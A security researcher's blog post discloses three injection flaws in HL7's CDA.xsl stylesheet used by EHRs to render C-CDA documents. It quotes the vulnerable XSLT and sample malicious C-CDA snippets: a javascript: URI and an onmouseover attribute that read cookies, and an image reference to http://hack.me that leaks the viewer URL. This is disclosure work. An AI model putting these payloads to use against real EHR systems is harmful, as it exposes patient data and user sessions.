Security vulnerabilities in C-CDA Display using CDA.xsl

TL;DR: If you’re using XSLT stylesheets to render C-CDAs in your EHR, make sure you understand the security implications. Otherwise you could be vulnerable to a data breach.

This blog post describes security issues that have affected well-known 2014 Certified EHRs.. Please note that I’ve already shared this information privately with the Web-based EHR vendors I could identify, and I’ve waited until they were able to investigate the issues and (if needed) repair their systems.

Last month I observed a set of security vulnerabilities in XSLT “stylesheets” used to display externally-supplied C-CDA documents in many EHRs. To be specific: the CDA.xsl stylesheet provided by HL7 (which has been adopted by many EHR vendors) can leave EHRs vulnerable to attacks by maliciously-composed documents.

I plan to follow up with posts describing:

Three fundamental attacks

Many vendors appear to be using (slightly tweaked versions of) the CDA.xsl that comes with HL7’s C-CDA release. This provides potential attackers with a highly visible, leveragable target.

My analysis revealed at least three ways to craft a malicious C-CDA. The first two vulnerabilities allow the execution of arbitrary JavaScript code within the C-CDA viewer. For example, an attacker could steal browser cookies and application state, and post them back to an external server. The third vulnerability allows the C-CDA viewer URL to leak to an external server.

1. Unsanitized nonXMLBody/text/reference/@value can execute JavaScript

CVE-2014-3861

One opportunity for injection attacks is the default handling of a nonXMLBody CDA.

<xsl:template match='n1:component/n1:nonXMLBody'>
  <xsl:choose>
  <!-- if there is a reference, use that in an IFRAME -->
  <xsl:when test='n1:text/n1:reference'>
  <IFRAME name='nonXMLBody' id='nonXMLBody' WIDTH='80%' HEIGHT='600' src='{n1:text/n1:reference/@value}' />
</xsl:when>

This means an attacker can execute arsbitrary JavaScript by supplying a reference like:

<nonXMLBody>
  <text>
    <reference value="javascript:alert(parent.document.cookie);"/>
  </text>
</nonXMLBody>

The XSLT-output HTML rendering would include the following dangerous snippet:

  <iframe src="javascript:alert(parent.document.cookie);"></iframe>

2. Unsanitized table/@onmouseover can execute JavaScript

CVE-2014-5452

A valid C-CDA document is not allowed to provide table/@onmouseover attributes. But if invalid documents are allowed into a system, then the following permissive “copy all” can be dangerous:

<!-- Tables -->
<xsl:template
  match="n1:table/@*|n1:thead/@*|n1:tfoot/@*|n1:tbody/@*|n1:colgroup/@*|n1:col/@*|n1:tr/@*|n1:th/@*|n1:td/@*">
  <xsl:copy>
    <xsl:copy-of select="@*" />
    <xsl:apply-templates />
  </xsl:copy>

What this says is: “when you find a table in the C-CDA document, just copy all of its XML attributes right into the rendered document.” An attacker can use this to inject JavaScript in the resulting document. For example, an attacker could steal cookies and application state, and post them back to an external server.

A source C-CDA document would supply a table like:

<table 
   onmouseover="alert(document.cookie);"
   style="height: 100%; width: 100%; position: fixed; left: 0px; top: 0px;">
</table>

… and the XSLT-output HTML rendering would contain the source table element verbatim.

3. Unsanitized observationMedia/value/reference/@value can leak state via HTTP Referer headers

CVE-2014-3862

Searching CDA.xsl for the term img, reveals two places where image tags are emitted. Both occur within the renderMultiMediatemplate definition:

<xsl:template match="n1:renderMultiMedia">
  <xsl:variable name="imageRef" select="@referencedObject" />
      <!-- snipped for brevity -->
      <xsl:if
        test="//n1:observationMedia[@ID=$imageRef]/n1:value[@mediaType='image/gif' or @mediaType='image/jpeg']">
        <br clear="all" />
        <xsl:element name="img">
          <xsl:attribute name="src"><xsl:value-of
              select="//n1:observationMedia[@ID=$imageRef]/n1:value/n1:reference/@value" /></xsl:attribute>
        </xsl:element>
      </xsl:if>
      <!-- snipped for brevity -->
</xsl:template>

By constructing an appropriate section in a C-CDA document to act as input to the template above, an attacker can cause the browser to leak the current page URL to http://hack.me:

<text>
  This image loads from an external server...
  <renderMultiMedia referencedObject="MM1"></renderMultiMedia>
</text>
<entry>
  <observationMedia ID="MM1">
    <id root="10.23.4567.345"/>
    <value xsi:type="ED" mediaType="image/jpeg">
      <reference value="http://hack.me/leaked-from-image.png"/>
    </value>
  </observationMedia>
</entry>

The XSLT-output HTML rendering would include the potentially dangerous snippet:

<img src="http://hack.me/leaked-from-image.png"></img>

Each time the document is viewed, the browser sends an HTTP Referer header to hack.me that inclues the source page URL. This can be dangerous if any private session state is embedded in that URL.